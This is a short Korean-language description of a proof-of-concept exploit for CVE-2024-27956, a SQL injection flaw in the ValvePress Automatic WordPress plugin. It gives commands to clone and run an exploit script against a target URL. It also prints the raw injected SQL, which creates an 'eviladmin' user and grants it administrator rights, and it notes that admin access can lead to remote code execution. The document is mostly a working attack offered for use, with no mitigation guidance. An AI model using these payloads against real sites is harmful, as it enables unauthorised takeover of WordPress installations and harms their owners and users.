
CVE-2024-27956 SQL 인젝션 PoC
CVE-2024-27956에 대한 PoC로, ValvePress Automatic 플러그인의 SQL 인젝션 취약점입니다. 이 PoC는 취약점을 악용하여 대상에 사용자를 생성하고 Administrator 권한을 부여합니다. WordPress에서 관리자가 되면 원격 코드 실행(RCE)으로 이어질 수 있습니다.
git clone https://github.com/diego-tella/CVE-2024-27956-RCE/
cd CVE-2024-27956-RCE
python exploit.py http://target.com
q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES ('eviladmin', '$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0', 'eviladmin', '[email protected]', 'http://127.0.0.1:8000', '2024-04-30 16:26:43', 0, 'eviladmin')
관리자 권한 부여:
q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = 'eviladmin'), 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}
q 매개변수에 전체 쿼리를 전달하면 해당 쿼리가 실행됩니다.
사용자 입력은 어떠한 제한이나 검증 없이 직접 실행됩니다.
